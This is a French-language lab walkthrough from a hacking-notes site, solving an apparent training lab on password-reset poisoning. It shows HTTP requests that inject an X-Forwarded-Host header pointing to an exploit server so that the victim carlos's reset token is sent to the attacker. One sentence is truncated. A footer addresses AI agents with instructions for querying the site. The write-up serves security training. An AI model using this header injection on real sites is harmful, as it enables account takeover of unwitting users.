> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/authentication/password-reset-poisoning-via-middleware.md).

# Empoisonnement de la réinitialisation du mot de passe via un middleware

### Empoisonnement de la réinitialisation de mot de passe via un middleware

Ce labo est vulnérable à une attaque de **l’empoisonnement de la réinitialisation de mot de passe**. / L’utilisateur **carlos** clique systématiquement sur les liens contenus dans les e-mails qu’il reçoit.

Objectif final : **accéder au compte carlos**.

* Identifiants valides :
* `wiener:peter`
* Les e-mails envoyés à notre compte peuvent être consultés via le \*\*client de messagerie du serveur d’exploitation\*\*.

<figure><img src="/files/3ffdeee2b3cc5a28732c2f2e6e9798492c3983e5" alt=""><figcaption></figcaption></figure>

La fonctionnalité de réinitialisation du mot de passe est accessible et permet de saisir un nom d’utilisateur.

<figure><img src="/files/3b2f5d61debfa50f2fa66272b42342734fea52d9" alt=""><figcaption></figcaption></figure>

Lorsque vous lancez une demande de réinitialisation avec notre propre compte (`wiener`), un e-mail est envoyé contenant un lien de ce type :

{% code overflow="wrap" %}

```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```

{% endcode %}

<figure><img src="/files/7e8c82fb03b940366604f0cc4918c94f5f5f4ac3" alt=""><figcaption></figcaption></figure>

Ce lien redirige vers une page permettant de définir un nouveau mot de passe à l’aide d’un jeton temporaire **jeton**.

<figure><img src="/files/6136c7fe13fc7b12fe9955dbdf782ac86b3f79d2" alt=""><figcaption></figcaption></figure>

**Test de manipulation via Burp Suite**

En interceptant la requête de réinitialisation du mot de passe avec **Burp Suite**, nous ajoutons l’en-tête HTTP suivant :

```http
X-Forwarded-Host: test.com

username=wiener
```

L’e-mail reçu contient toujours le jeton valide, mais \*\*l

<figure><img src="/files/753256169b50c74693360e72d40b17f553841349" alt=""><figcaption></figcaption></figure>

Cela indique que l’application \*\* fait confiance à l’ `X-Forwarded-Host`\*\* en-tête pour générer le lien de réinitialisation.

```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net

username=carlos
```

**Exploitation sur la victime**

Répétez l’attaque, cette fois en ciblant **carlos** et en utilisant l’URL du **serveur d’exploitation**

Un e-mail est envoyé à carlos contenant un lien de réinitialisation **hébergé sur notre serveur d’exploitation**, avec un **jeton**:

```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```

<figure><img src="/files/bad70a904cc846afd3fafade0cd0421ac0197e30" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/authentication/password-reset-poisoning-via-middleware.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
